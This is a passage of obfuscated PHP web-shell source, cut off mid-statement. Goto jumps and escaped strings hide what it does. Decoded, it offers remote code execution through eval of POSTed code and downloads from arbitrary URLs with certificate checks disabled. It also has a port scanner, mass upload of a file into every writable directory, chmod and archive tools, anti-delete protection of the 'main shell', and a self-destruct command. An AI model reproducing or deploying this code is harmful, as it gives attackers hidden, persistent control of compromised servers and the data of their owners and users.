Kd2Mq: goto vbH70; goto co0jg; kruBg: $v1Pog = ["\x73\164\x61\x74\x75\x73" => "\145\x72\162\157\162", "\155\145\x73\163\x61\147\145" => "\x43\x61\156\x6e\157\164\40\144\x65\x6c\x65\164\145\x20\155\x61\x69\156\40\163\x68\145\x6c\x6c\40\55\40\x50\162\x6f\164\145\x63\x74\145\x64\x20\x62\x79\x20\x61\x6e\x74\x69\x2d\144\x65\x6c\x65\164\145\x20\163\x79\163\164\145\x6d"]; goto v26Yh; GsWrX: usleep(100000); goto aeI4l; ABP52: mesR1: goto YdeFh; C8S2Y: if (!(!file_exists($QEiJ4) && file_exists($Yxoh6))) { goto a7m0A; } goto kIlGH; VZ1Ud: if (!(stripos($j3_hR, $nZiB9) !== false)) { goto mM8HH; } goto YJDmQ; E4CiQ: $v1Pog = ["\163\x74\x61\x74\x75\x73" => "\x73\165\x63\143\145\163\x73", "\x6d\145\163\163\x61\x67\x65" => "\x44\x69\162\145\143\x74\157\162\171\40\144\x65\x6c\145\164\145\144\56"]; goto Wxbeq; PEwnB: $ThaiK = @realpath($ggdpe); goto sY7Nn; pY4zM: goto vbH70; goto pRsJc; DS3V3: X7zM5: goto OPLDA; Tr2yy: goto jGyKK; goto yxqKY; DqOkv: $kmHPp = true; goto VD6lB; I1ABG: goto vbH70; goto M6G_H; zZPL4: jGyKK: goto Xo9K4; IlYls: j7ZU9: goto M0AbG; BqY0T: RAFtB: goto WDuwx; M0AbG: if (!(strcasecmp($PZWZj, $ggdpe) === 0)) { goto X7zM5; } goto kruBg; YJDmQ: $qr3P0 = $j3_hR; goto g49L8; M6G_H: Qmvot: goto lpPDn; D83Oe: $DpsPY = @fileinode($j3_hR); goto qJ1d2; ovH4C: $cxJYn = @realpath($PZWZj); goto PEwnB; VD6lB: @(include_once $etpkF); goto KdCjS; hMU63: if (!function_exists("\146\151\x6c\145\x69\156\157\x64\145")) { goto J9GwM; } goto D83Oe; yosQd: if (!($DpsPY && $mKAfh && $DpsPY === $mKAfh)) { goto T0Dxc; } goto iQdN_; OPLDA: gUZ7r: goto VZ1Ud; zyGXu: lBSRX: goto mfrmD; NcU5J: $rdKfF = str_replace(["\57", "\x5c"], DIRECTORY_SEPARATOR, $QEiJ4); goto zlrsV; fi2cM: rznnd: goto UA3x4; qJ1d2: $mKAfh = @fileinode($QEiJ4); goto yosQd; TbCcS: wE_11: goto E4CiQ; F9vAT: if (!($gQaoB && $HkI9D && $gQaoB === $HkI9D)) { goto Qmvot; } goto hXA_H; Xo9K4: goto d64T_; goto j3NuU; I3J3P: foreach ($yPpFX as $Q0s1i) { goto PnxbJ; cNVlI: goto vbH70; goto TslY7; wyxry: if (!($SnMVM && $HkI9D && $SnMVM === $HkI9D)) { goto zz5wj; } goto p6deb; iDO1y: $SnMVM = @realpath($Q0s1i->getPathname()); goto wyxry; hfXjz: AUflp: goto HFQ4Z; HFQ4Z: IXGDo: goto v4SCg; TslY7: zz5wj: goto hfXjz; p6deb: $v1Pog = ["\x73\x74\141\x74\165\163" => "\x65\x72\x72\157\162", "\155\145\x73\x73\x61\147\x65" => "\x43\x61\156\156\157\x74\40\x64\145\154\x65\x74\x65\x20\x64\x69\162\145\x63\x74\157\162\171\x20\x63\x6f\156\x74\141\x69\156\151\156\147\x20\x70\162\157\164\145\x63\164\145\144\40\x73\150\145\154\x6c"]; goto cNVlI; PnxbJ: if (!($Q0s1i->isFile() && strcasecmp($Q0s1i->getFilename(), $nZiB9) === 0)) { goto AUflp; } goto iDO1y; v4SCg: } goto wFHeh; DfDDj: goto vbH70; goto ABP52; AxJhG: $HkI9D = @realpath($QEiJ4); goto s827Q; lpPDn: mM8HH: goto KaRam; X3cWT: if (!(strcasecmp($ur1Jt, $nZiB9) === 0)) { goto gUZ7r; } goto ovH4C; zMK30: goto vbH70; goto BqY0T; pRsJc: eNwjD: goto CG0fA; oj0UH: T0Dxc: goto wHIQW; ejHgm: $ur1Jt = basename($j3_hR); goto X3cWT; HMSRV: case "\143\x72\145\141\x74\145": goto J9v3t; zbcCV: $v1Pog = ["\x73\164\141\x74\165\x73" => "\x73\165\143\x63\x65\x73\x73", "\x6d\x65\163\163\x61\147\145" => "\104\x69\x72\145\143\x74\x6f\162\x79\x20\x63\162\x65\x61\164\x65\x64\x2e"]; goto nW7as; U83AU: goto KRa2N; goto Tn7Ne; Yku0J: if (touch($j3_hR)) { goto roOcg; } goto PfDc2; k2toK: k3dW7: goto ZeXSZ; bXLAd: goto vbH70; goto kGh7S; Qrndt: if (!file_exists($j3_hR)) { goto Y6pe4; } goto l8XaG; ZeXSZ: KRa2N: goto T0MeF; VnMWm: $shC_W = $_POST["\164\171\160\x65"]; goto Qrndt; LZnYm: N5RuX: goto zbcCV; r9GSS: $v1Pog["\155\145\163\x73\x61\x67\145"] = "\x43\157\165\x6c\x64\x20\x6e\157\x74\x20\143\162\x65\x61\x74\x65\x20\144\x69\x72\x65\x63\x74\157\162\171\x2e"; goto Pubbu; nW7as: V5rRl: goto U83AU; PkzvM: if ($shC_W === "\x66\151\154\x65") { goto mfhWb; } goto PdqSh; B0Y4i: goto k3dW7; goto H4vTd; l8XaG: $v1Pog["\x6d\145\163\x73\x61\x67\x65"] = "\106\x69\x6c\x65\40\157\162\x20\144\151\x72\x65\143\x74\x6f\x72\171\40\x61\154\162\x65\141\144\171\x20\x65\170\x69\163\x74\163\x2e"; goto bXLAd; T0MeF: goto vbH70; goto G8p4D; PdqSh: if (mkdir($j3_hR)) { goto N5RuX; } goto r9GSS; J9v3t: $j3_hR = $_SESSION["\143\x77\144"] . DIRECTORY_SEPARATOR . $_POST["\156\141\155\145"]; goto VnMWm; Pubbu: goto V5rRl; goto LZnYm; PfDc2: $v1Pog["\155\x65\163\x73\141\147\145"] = "\x43\157\x75\154\144\x20\156\x6f\164\40\143\x72\x65\x61\x74\145\40\x66\x69\x6c\145\56"; goto B0Y4i; Tn7Ne: mfhWb: goto Yku0J; q4Lnj: $v1Pog = ["\163\x74\x61\x74\x75\x73" => "\163\165\x63\143\145\163\163", "\x6d\145\x73\x73\141\147\145" => "\x46\151\x6c\x65\40\x63\x72\145\x61\164\x65\x64\x2e"]; goto k2toK; H4vTd: roOcg: goto q4Lnj; kGh7S: Y6pe4: goto PkzvM; G8p4D: case "\162\x65\156\141\x6d\145": goto AY1dk; ksgDe: goto vbH70; goto FkjXR; yPH1x: goto N5KWq; goto rkZWv; ZL5Jm: $p2MYL = dirname($uqrdm) . DIRECTORY_SEPARATOR . $_POST["\156\145\167\116\x61\x6d\x65"]; goto KUiPO; kRDwK: N5KWq: goto ksgDe; v_GSM: $v1Pog["\155\x65\x73\x73\x61\x67\145"] = "\x52\x65\156\141\155\x65\x20\146\141\x69\154\x65\144\x2e"; goto yPH1x; rkZWv: ASVgM: goto XBkBf; AY1dk: $uqrdm = $_POST["\160\141\164\x68"]; goto ZL5Jm; KUiPO: if (rename($uqrdm, $p2MYL)) { goto ASVgM; } goto v_GSM; XBkBf: $v1Pog = ["\163\164\141\164\165\163" => "\163\x75\x63\x63\145\163\x73", "\155\x65\163\163\141\147\145" => "\122\145\156\x61\155\x65\144\x20\163\x75\143\x63\x65\163\163\146\165\x6c\154\x79\56"]; goto kRDwK; FkjXR: case "\x63\x68\155\x6f\144": goto nHWBt; aHYq1: $jluOC = intval($_POST["\160\145\162\155\163"], 8); goto GhQqv; eyLpJ: $v1Pog = ["\x73\164\141\164\165\x73" => "\x73\x75\143\x63\x65\163\163", "\155\x65\x73\163\141\x67\x65" => "\120\145\x72\x6d\151\163\x73\151\157\156\x73\x20\x63\150\x61\x6e\x67\145\x64\56"]; goto t4fyN; eDW7u: goto vbH70; goto f0XkR; BgLKU: goto mOM7L; goto PcJf3; nHWBt: $j3_hR = $_POST["\x70\x61\164\150"]; goto aHYq1; fmR2w: $v1Pog["\x6d\x65\x73\163\141\x67\145"] = "\103\110\x4d\117\x44\x20\146\x61\x69\x6c\x65\x64\56"; goto BgLKU; PcJf3: B8HnN: goto eyLpJ; GhQqv: if (chmod($j3_hR, $jluOC)) { goto B8HnN; } goto fmR2w; t4fyN: mOM7L: goto eDW7u; f0XkR: case "\172\x69\x70": goto bx0NL; wzvSK: $usT2s->addFile($j3_hR, basename($j3_hR)); goto j0LTy; lFhqj: goto vbH70; goto bJdrS; l9cj6: $v1Pog = ["\163\164\x61\164\165\163" => "\163\x75\x63\x63\x65\163\x73", "\x6d\x65\x73\163\x61\147\x65" => "\101\162\x63\150\x69\x76\x65\40\x63\x72\145\x61\164\x65\144\40\x73\165\143\143\145\x73\163\146\x75\x6c\154\171\x2e"]; goto cwm19; KHKYE: VeYvt: goto Ei2ed; bx0NL: if (class_exists("\132\x69\x70\101\x72\x63\x68\151\166\x65")) { goto mnfLH; } goto Yxlg0; cwm19: w9kH0: goto UBd1N; i5a3z: mnfLH: goto rm6IA; QwfNm: $v1Pog["\x6d\145\163\x73\x61\x67\145"] = "\132\151\x70\40\x61\x72\143\x68\151\x76\145\x20\141\x6c\162\145\x61\144\171\x20\x65\x78\151\x73\164\x73\x2e"; goto lFhqj; gAL1V: if (!file_exists($uU6_P)) { goto b0dt9; } goto QwfNm; bJdrS: b0dt9: goto wIlNP; Yxlg0: $v1Pog["\x6d\145\163\x73\141\x67\145"] = "\x5a\x69\x70\101\x72\x63\150\x69\166\145\x20\143\154\141\x73\163\x20\x6e\x6f\164\x20\146\157\165\x6e\x64\x2e"; goto QgxXx; XF4aF: foreach ($p2RFD as $zME47 => $Q0s1i) { goto WvVZr; SZiai: $sCC_n = substr($JB_SP, strlen(realpath($j3_hR)) + 1); goto Nio1v; KrwTr: fi_E9: goto AU3J7; AU3J7: jO02z: goto JrP5Q; WvVZr: if ($Q0s1i->isDir()) { goto fi_E9; } goto k1oke; Nio1v: $usT2s->addFile($JB_SP, $sCC_n); goto KrwTr; k1oke: $JB_SP = $Q0s1i->getRealPath(); goto SZiai; JrP5Q: } goto lNuiE; dzd77: $usT2s->close(); goto l9cj6; x0qYI: if (is_dir($j3_hR)) { goto VeYvt; } goto wzvSK; bJ3kt: $uU6_P = rtrim($j3_hR, "\x2f") . "\x2e\x7a\151\x70"; goto gAL1V; hk7qc: DWIlk: goto dzd77; Nbgic: $v1Pog["\x6d\x65\x73\163\141\147\x65"] = "\103\x6f\165\x6c\144\40\156\157\x74\x20\x63\x72\x65\x61\x74\145\x20\x7a\151\160\40\x61\x72\x63\x68\x69\166\145\x2e"; goto fX7jh; j0LTy: goto DWIlk; goto KHKYE; UBd1N: goto vbH70; goto SjlR7; QgxXx: goto vbH70; goto i5a3z; qUNOG: if ($usT2s->open($uU6_P, EDUek::KK30f | Eduek::uMEzX) === TRUE) { goto FzlaQ; } goto Nbgic; Ei2ed: $p2RFD = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($j3_hR, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY); goto XF4aF; wIlNP: $usT2s = new EDUek(); goto qUNOG; fX7jh: goto w9kH0; goto CoRun; rm6IA: $j3_hR = $_POST["\160\x61\x74\x68"]; goto bJ3kt; lNuiE: GkgFF: goto hk7qc; CoRun: FzlaQ: goto x0qYI; SjlR7: case "\x75\156\172\151\160": goto rvhVr; twRQD: $usT2s->close(); goto Ngj4x; wCSCM: yRaGh: goto mVBnb; JrCjm: goto vbH70; goto kEZ7E; G3e_9: goto vbH70; goto pBEJx; lqxkF: $v1Pog["\155\x65\x73\x73\x61\x67\x65"] = "\103\157\x75\x6c\144\40\156\157\x74\x20\145\170\x74\162\x61\x63\164\40\141\162\143\150\x69\166\x65\56"; goto kaQJN; DzQzC: $j3_hR = $_POST["\x70\141\x74\150"]; goto eG_rK; rvhVr: if (class_exists("\x5a\x69\160\x41\162\143\150\x69\166\x65")) { goto oay5v; } goto nPGz8; Ngj4x: $v1Pog = ["\x73\164\141\164\x75\x73" => "\163\x75\x63\x63\x65\163\163", "\155\145\163\x73\141\x67\x65" => "\101\162\143\x68\151\x76\x65\x20\x65\170\164\162\x61\143\164\145\144\x2e"]; goto pOUGZ; eG_rK: $usT2s = new eDUEk(); goto g3PuE; kEZ7E: oay5v: goto DzQzC; kaQJN: goto aDSeR; goto wCSCM; mVBnb: $usT2s->extractTo(dirname($j3_hR)); goto twRQD; g3PuE: if ($usT2s->open($j3_hR) === TRUE) { goto yRaGh; } goto lqxkF; nPGz8: $v1Pog["\155\145\x73\x73\x61\x67\145"] = "\132\x69\x70\x41\x72\143\x68\151\166\x65\x20\143\154\x61\163\163\40\156\x6f\164\40\146\157\165\x6e\x64\x2e"; goto JrCjm; pOUGZ: aDSeR: goto G3e_9; pBEJx: case "\160\x68\x70\137\x65\166\x61\154": goto n2zU_; wtmCI: ini_set("\x64\x69\x73\160\x6c\141\171\137\x65\162\162\157\x72\x73", $ajFWl); goto f7n6k; euk4Q: try { goto pzvSY; I8V7q: @eval($RFZ8l); goto rrLEl; pzvSY: $RFZ8l = $_POST["\143\157\144\x65"] ?? ''; goto PGhix; rrLEl: HBur_: goto Qe9yy; PGhix: if (empty($RFZ8l)) { goto HBur_; } goto I8V7q; Qe9yy: $BKvy0 = ob_get_clean(); goto OqgHS; OqgHS: } catch (ParseError $smUM0) { ob_end_clean(); $uBrXO = "\120\x61\162\163\145\x20\x65\x72\x72\x6f\162\x3a\x20" . $smUM0->getMessage(); } catch (Throwable $smUM0) { ob_end_clean(); $uBrXO = "\105\162\x72\x6f\x72\72\x20" . $smUM0->getMessage(); } catch (Exception $smUM0) { ob_end_clean(); $uBrXO = "\105\x78\143\x65\x70\x74\x69\x6f\x6e\x3a\x20" . $smUM0->getMessage(); } goto dLsQw; F6bKE: $v1Pog = ["\163\164\141\164\165\x73" => "\145\x72\162\x6f\162", "\x6d\x65\163\163\x61\147\x65" => $uBrXO]; goto nsgcw; dlsGl: goto vbH70; goto bsLLN; kgjbl: $ajFWl = ini_get("\x64\x69\x73\160\x6c\141\171\137\x65\x72\x72\x6f\x72\x73"); goto xV_m9; xV_m9: ini_set("\144\151\163\x70\154\x61\x79\x5f\145\x72\162\x6f\x72\x73", 0); goto T8wAj; PxK1L: $gIoO1 = set_error_handler(function ($UQIjB, $Pb5Yu, $LMk47, $h2CRI) { return true; }, E_ALL); goto POTnZ; Zn6UQ: $kxMRq = error_reporting(0); goto kgjbl; gaPeN: error_reporting($kxMRq); goto wtmCI; YVIzN: fg3os: goto gaPeN; OGelP: $v1Pog["\x6d\x65\x73\163\141\147\x65"] = "\145\x76\x61\154\x28\51\x20\151\x73\x20\x64\151\163\x61\x62\154\145\x64\x2e"; goto aPSLB; T8wAj: ob_start(); goto PxK1L; aPSLB: goto HGL_z; goto YtPSa; nsgcw: yp4NR: goto z6tsq; YtPSa: XpHwq: goto Zn6UQ; jrMob: restore_error_handler(); goto YVIzN; POTnZ: $uBrXO = null; goto euk4Q; z6tsq: HGL_z: goto dlsGl; uujFD: $v1Pog = ["\x73\164\x61\164\165\163" => "\x73\165\x63\143\145\x73\163", "\157\165\164\160\x75\x74" => $BKvy0 ?: '']; goto lbzVI; dLsQw: if (!($gIoO1 !== null)) { goto fg3os; } goto jrMob; lbzVI: goto yp4NR; goto oD0As; oD0As: DgW9c: goto F6bKE; f7n6k: if ($uBrXO !== null) { goto DgW9c; } goto uujFD; n2zU_: if (LIX3f("\145\x76\141\154")) { goto XpHwq; } goto OGelP; bsLLN: case "\167\x67\x65\164": goto rTFil; PU03o: ucsk7: goto zauSH; kPrDE: H7aw8: goto cfiLe; T8O7p: $Lrz4Z = @file_get_contents($INZQZ, false, $yr3s9); goto hhopg; qL_4S: $v1Pog["\x6d\145\163\163\x61\147\x65"] = "\x46\141\x69\154\145\144\40\x74\x6f\x20\x73\141\x76\x65\40\144\157\167\x6e\154\x6f\x61\x64\145\x64\40\146\x69\x6c\x65\x2e"; goto w2m5f; cfiLe: if (file_put_contents($_SESSION["\143\x77\144"] . DIRECTORY_SEPARATOR . $YOfeG, $Lrz4Z) !== false) { goto QD3BJ; } goto qL_4S; w2m5f: goto wAlyJ; goto zTFvf; aWH1h: $v1Pog = ["\x73\x74\141\x74\x75\163" => "\163\165\143\143\145\x73\163", "\x6d\x65\163\163\141\147\x65" => "\x46\151\x6c\x65\x20\144\x6f\x77\x6e\154\x6f\x61\x64\x65\144\x20\163\x75\143\143\145\163\x73\x66\165\154\x6c\x79\56"]; goto G2eeM; zTFvf: QD3BJ: goto aWH1h; jTDID: $v1Pog["\155\x65\x73\163\141\x67\x65"] = "\x46\x61\151\x6c\x65\x64\x20\164\x6f\x20\144\x6f\x77\156\154\157\x61\x64\40\x66\x72\x6f\155\x20\125\x52\x4c\x2e\40\103\x68\145\143\153\x20\125\122\x4c\40\x61\x6e\x64\40\156\x65\164\x77\157\162\153\x20\x63\157\156\156\145\x63\x74\151\x76\151\164\171\56"; goto YOKrz; rTFil: $INZQZ = $_POST["\x75\x72\x6c"]; goto GDWLZ; G2eeM: wAlyJ: goto PU03o; Xv4_W: aCMGX: goto uW6mX; h80eU: $yr3s9 = stream_context_create($xd_Oi); goto T8O7p; mXDtq: if (!empty($YOfeG)) { goto aCMGX; } goto mJGdX; QzNy8: $xd_Oi = ["\x68\x74\x74\x70" => ["\x6d\145\x74\150\157\144" => "\x47\105\x54", "\150\x65\x61\144\145\x72" => "\x55\163\x65\x72\x2d\x41\x67\145\x6e\164\x3a\x20{$c0OAM}\xd\xa\x41\x63\143\145\160\x74\72\x20\x74\x65\170\x74\x2f\x68\x74\155\x6c\x2c\141\160\160\154\151\x63\x61\x74\x69\157\x6e\57\170\150\x74\x6d\154\53\170\x6d\x6c\x2c\x61\160\160\154\151\143\x61\164\151\x6f\x6e\57\170\x6d\x6c\x3b\161\x3d\x30\56\x39\54\52\x2f\52\73\x71\x3d\x30\56\70\15\xa\x41\x63\143\x65\x70\x74\55\114\141\156\x67\165\141\x67\x65\72\x20\x65\156\x2d\125\123\x2c\145\156\73\x71\x3d\x30\x2e\x35\15\xa\x41\143\143\145\x70\164\x2d\105\x6e\143\x6f\x64\x69\156\147\72\40\x67\x7a\x69\160\x2c\40\144\x65\146\x6c\141\164\145\15\12\103\x6f\156\156\145\143\164\x69\157\156\72\x20\x6b\x65\x65\160\x2d\x61\154\x69\166\145", "\x74\151\x6d\x65\x6f\x75\x74" => 30, "\146\157\154\154\157\167\x5f\154\x6f\143\141\x74\151\x6f\x6e" => true, "\155\141\x78\x5f\162\x65\144\151\x72\145\143\x74\163" => 5, "\x69\147\156\x6f\162\145\137\x65\162\162\x6f\x72\163" => false], "\x73\163\x6c" => ["\x76\145\x72\x69\146\171\x5f\x70\x65\x65\162" => false, "\166\x65\x72\151\x66\171\x5f\x70\x65\x65\x72\137\x6e\x61\155\x65" => false, "\x61\154\154\157\x77\x5f\163\145\154\146\x5f\x73\x69\147\156\x65\x64" => true]]; goto h80eU; uW6mX: $c0OAM = z0nvP(); goto QzNy8; mJGdX: $YOfeG = "\144\157\x77\156\x6c\157\141\x64\145\144\x5f\x66\151\x6c\x65"; goto Xv4_W; YOKrz: goto ucsk7; goto kPrDE; zauSH: goto vbH70; goto af_JG; hhopg: if ($Lrz4Z !== false) { goto H7aw8; } goto jTDID; GDWLZ: $YOfeG = basename(parse_url($INZQZ, PHP_URL_PATH)); goto mXDtq; af_JG: case "\x70\157\x72\x74\x5f\163\x63\141\156": goto d3ls9; rQrFh: $wYTCp = array_filter(array_map("\164\162\x69\155", explode("\54", $_POST["\x70\157\x72\x74\x73"]))); goto iEi1Y; vL2Sg: goto vbH70; goto EbHyy; d3ls9: if (lIX3f("\x66\x73\157\143\153\x6f\x70\x65\x6e")) { goto bNIZH; } goto Qmq76; M7Qww: goto vbH70; goto oGVH_; kfYp2: eJUql: goto TuBkz; TuBkz: $v1Pog = ["\163\x74\x61\x74\165\x73" => "\163\165\x63\143\x65\163\163", "\162\145\163\165\154\x74\163" => $gSi8X]; goto M7Qww; ppbal: $NFCPX = $_POST["\x68\157\163\x74"]; goto rQrFh; Qmq76: $v1Pog["\155\145\163\163\x61\147\x65"] = "\x66\163\x6f\x63\153\157\160\x65\156\50\51\x20\x69\x73\x20\144\x69\x73\x61\142\x6c\x65\144\56"; goto vL2Sg; zYaBI: foreach ($wYTCp as $TI0F5) { goto s0zsN; lY5d1: Vvndw: goto h86wJ; TVlef: O9o4H: goto MrM9R; s0zsN: $DvmKO = @fsockopen($NFCPX, $TI0F5, $UQIjB, $Pb5Yu, 0.2); goto Bpieo; eSIAO: PTFjj: goto TVlef; iO7ce: $gSi8X[$TI0F5] = "\103\x6c\157\163\x65\144"; goto A0SyM; xP0UG: fclose($DvmKO); goto eSIAO; h86wJ: $gSi8X[$TI0F5] = "\117\x70\x65\156"; goto xP0UG; A0SyM: goto PTFjj; goto lY5d1; Bpieo: if (is_resource($DvmKO)) { goto Vvndw; } goto iO7ce; MrM9R: } goto kfYp2; iEi1Y: $gSi8X = []; goto zYaBI; EbHyy: bNIZH: goto ppbal; oGVH_: case "\x75\x70\154\x6f\141\144": goto s9oDZ; trX1k: $j2G7g = []; goto LqAcO; v33sA: iWuMj: goto BwG09; dDEUO: RpIFq: goto ciV15; M3SvM: $j2G7g[] = ["\156\141\x6d\x65" => $_FILES["\x66\151\x6c\145"]["\156\x61\x6d\145"][$jY45d], "\164\155\160\x5f\x6e\141\x6d\145" => $_FILES["\x66\x69\154\x65"]["\x74\x6d\x70\137\156\141\x6d\x65"][$jY45d]]; goto Oyhbl; Nn4IB: goto z6GII; goto dDEUO; LqAcO: if (is_array($_FILES["\x66\151\x6c\x65"]["\156\x61\155\x65"])) { goto iHTh1; } goto OfGLi; qX9ti: iHTh1: goto OPa81; XKkOG: goto vbH70; goto ke7m7; BLj_8: goto oiETu; goto jB72h; EEx0l: $j3_hR = rtrim($_POST["\x70\141\164\x68"], "\57"); goto trX1k; t__gi: JVari: goto UPEJR; Oyhbl: p2nhH: goto SXY0K; iGEMS: $v1Pog = ["\x73\164\141\164\x75\x73" => "\x73\x75\x63\x63\145\163\163", "\x6d\145\x73\x73\x61\147\145" => "{$N38yg}\x2f" . count($j2G7g) . "\40\146\151\x6c\x65\x28\x73\51\40\x75\160\x6c\157\x61\x64\x65\144\56"]; goto t__gi; pSeHe: goto JVari; goto c64Q4; FVsbh: $jY45d++; goto Nn4IB; s9oDZ: if (isset($_FILES["\146\151\x6c\145"])) { goto cnB8M; } goto UuR5c; T99KC: goto eKskQ; goto qX9ti; jB72h: cnB8M: goto EEx0l; c64Q4: kBc6M: goto iGEMS; UuR5c: $v1Pog["\x6d\x65\163\163\141\147\x65"] = "\116\157\40\x66\x69\154\x65\163\40\162\x65\143\145\151\x76\x65\x64\x2e"; goto BLj_8; phfHd: if (!($_FILES["\146\151\x6c\145"]["\145\x72\162\x6f\x72"][$jY45d] === UPLOAD_ERR_OK)) { goto p2nhH; } goto M3SvM; YwoQ2: eKskQ: goto jbl1g; j1rtB: $v1Pog["\x6d\x65\x73\163\141\x67\145"] = "\106\141\x69\154\145\x64\40\x74\x6f\40\x75\x70\x6c\x6f\x61\144\x20\146\x69\154\145\163\56"; goto pSeHe; OfGLi: if ($_FILES["\x66\151\154\145"]["\145\x72\162\x6f\162"] === UPLOAD_ERR_OK) { goto NGPHx; } goto T99KC; ciV15: goto eKskQ; goto MRf6H; SXY0K: Bgflr: goto FVsbh; yi2Is: $j2G7g[] = ["\x6e\141\155\x65" => $_FILES["\x66\151\154\x65"]["\x6e\141\x6d\145"], "\164\155\160\137\x6e\141\155\145" => $_FILES["\x66\x69\154\145"]["\164\155\160\137\156\x61\x6d\145"]]; goto YwoQ2; jbl1g: $N38yg = 0; goto Qiw8n; BwG09: if ($N38yg > 0) { goto kBc6M; } goto j1rtB; UPEJR: oiETu: goto XKkOG; Qiw8n: foreach ($j2G7g as $Q0s1i) { goto dxqs1; W8Ueq: if (!move_uploaded_file($Q0s1i["\x74\155\x70\137\x6e\141\x6d\145"], $PstkO)) { goto OkamC; } goto xl2Z9; xl2Z9: $N38yg++; goto uv3sU; uv3sU: OkamC: goto Ted03; Ted03: U4tBb: goto xx7v5; dxqs1: $PstkO = $j3_hR . DIRECTORY_SEPARATOR . basename($Q0s1i["\x6e\x61\x6d\145"]); goto W8Ueq; xx7v5: } goto v33sA; MRf6H: NGPHx: goto yi2Is; UvXZ5: z6GII: goto mGHZY; mGHZY: if (!($jY45d < count($_FILES["\x66\x69\x6c\x65"]["\x6e\141\155\145"]))) { goto RpIFq; } goto phfHd; OPa81: $jY45d = 0; goto UvXZ5; ke7m7: case "\x73\145\154\x66\137\x64\x65\x73\164\162\x75\143\164": goto O77op; VUPU0: goto xFwvT; goto NxdBe; xbIjV: if (unlink(__FILE__)) { goto lhnYL; } goto R7OAn; kMQl5: goto vbH70; goto egtfX; NxdBe: lhnYL: goto fV46_; O77op: session_destroy(); goto xbIjV; R7OAn: $v1Pog["\155\x65\x73\x73\x61\147\145"] = "\x55\156\141\x62\154\145\x20\164\157\x20\x73\x65\154\146\55\144\145\163\164\162\x75\x63\164\x2e"; goto VUPU0; fV46_: $v1Pog = ["\x73\x74\x61\164\x75\x73" => "\163\165\143\x63\145\x73\x73", "\155\x65\x73\x73\141\x67\145" => "\x53\150\x65\154\154\x20\x68\x61\x73\40\142\x65\x65\156\x20\x72\145\x6d\x6f\166\x65\144\x2e"]; goto gJhSf; gJhSf: xFwvT: goto kMQl5; egtfX: case "\147\145\x74\137\x64\x69\x72\137\164\x72\x65\x65": goto CuJn9; ncwdq: $v1Pog = ["\x73\x74\x61\x74\165\163" => "\163\x75\x63\x63\145\163\163", "\x74\162\145\x65" => [pY2_5($Om154)]]; goto oBoWU; oBoWU: goto vbH70; goto q2s_7; CuJn9: $Om154 = isset($_SERVER["\104\x4f\103\125\x4d\x45\116\x54\x5f\122\x4f\x4f\x54"]) ? realpath($_SERVER["\104\117\103\125\115\x45\116\124\137\x52\x4f\x4f\124"]) : dirname(__FILE__); goto ncwdq; q2s_7: case "\155\141\x73\x73\x5f\165\160\x6c\x6f\x61\x64": goto JEkep; uiC_E: $xDxGO = json_decode($_POST["\144\x69\162\163"], true); goto Rnu3o; mLXqa: goto FHz_a; goto E44NH; ygFrj: xBpN7: goto HmG48; GSO0V: goto GhC3Y; goto LjLYL; HmG48: GhC3Y: goto jbFGM; gjS4g: $v1Pog["\x6d\x65\163\x73\x61\x67\x65"] = "\x49\156\x76\141\154\151\x64\x20\x64\x69\x72\145\x63\x74\157\162\x79\40\x6c\x69\x73\x74\x2e"; goto mLXqa; zoq2A: $v1Pog["\x6d\145\163\163\x61\147\x65"] = "\x46\141\x69\154\x65\144\x20\164\x6f\40\160\x72\157\x63\x65\163\163\x20\165\160\154\157\141\x64\145\144\x20\146\x69\x6c\145\56"; goto Kw8je; cai_0: $v1Pog = ["\x73\164\141\164\x75\163" => "\163\x75\x63\x63\145\x73\163", "\x6d\145\163\x73\141\147\x65" => "\x55\160\x6c\x6f\x61\x64\x65\x64\40\x74\157\x20{$N38yg}\40\x64\151\x72\x65\x63\164\x6f\162\x69\145\163\56\40\x46\x61\151\154\x65\144\40\146\x6f\x72\40{$qSowe}\56"]; goto H5gD3; KBylx: $lsg5E = __DIR__ . DIRECTORY_SEPARATOR . uniqid("\x74\155\160\x5f") . "\x5f" . $cZODf; goto KuxJq; WX1Br: $N38yg = 0; goto zkx8k; uE5wz: foreach ($xDxGO as $jBFOE) { goto apR6m; M2H5F: eU0mR: goto iH6TR; F76Vi: qdzr1: goto uaZwj; uTEc3: if (copy($lsg5E, $PstkO)) { goto qdzr1; } goto NnwgX; mauXv: iQElR: goto YY2tu; NnwgX: $qSowe++; goto kbv5X; uaZwj: $N38yg++; goto M2H5F; iH6TR: OrLX8: goto mauXv; o_kES: goto OrLX8; goto GnfvQ; apR6m: if (is_dir($jBFOE) && is_writable($jBFOE)) { goto DOJNd; } goto MpUVP; GnfvQ: DOJNd: goto zAFrl; kbv5X: goto eU0mR; goto F76Vi; zAFrl: $PstkO = rtrim($jBFOE, "\57") . DIRECTORY_SEPARATOR . $cZODf; goto uTEc3; MpUVP: $qSowe++; goto o_kES; YY2tu: } goto G12Yc; KuxJq: if (move_uploaded_file($_FILES["\146\151\x6c\145"]["\x74\155\x70\x5f\x6e\141\155\145"], $lsg5E)) { goto Fsis2; } goto zoq2A; LjLYL: Nob_o: goto uiC_E; Kw8je: goto xBpN7; goto SHCmW; SHCmW: Fsis2: goto WX1Br; yhVzi: @unlink($lsg5E); goto ygFrj; gJyUZ: $v1Pog["\x6d\x65\163\163\x61\147\145"] = "\x46\x69\x6c\145\x20\x6f\162\x20\x74\141\x72\147\145\x74\x20\x64\151\162\145\x63\x74\157\x72\x69\145\163\40\x6e\157\x74\x20\160\162\157\166\151\x64\145\x64\x2e"; goto GSO0V; jbFGM: goto vbH70; goto T5phj; Rnu3o: $cZODf = basename($_FILES["\x66\151\x6c\x65"]["\x6e\x61\155\145"]); goto KBylx; H5gD3: FHz_a: goto yhVzi; E44NH: ruwGT: goto uE5wz; lK08q: if (is_array($xDxGO)) { goto ruwGT; } goto gjS4g; JEkep: if (isset($_FILES["\146\x69\154\x65"]) && $_FILES["\x66\x69\x6c\x65"]["\x65\162\x72\x6f\162"] === UPLOAD_ERR_OK && isset($_POST["\x64\x69\162\x73"])) { goto Nob_o; } goto gJyUZ; G12Yc: abaJV: goto cai_0; zkx8k: $qSowe = 0; goto lK08q; T5phj: case "\x67\x65\x74\x5f\154\x69\x76\x65\137\163\164\141\164\163": $v1Pog = ["\163\164\x61\x74\165\163" => "\163\x75\x63\143\145\163\x73", "\143\160\x75" => PoNRj(), "\162\x61\x6d" => EQrni(), "\144\x69\163\153" => cua0X()]; goto vbH70; case 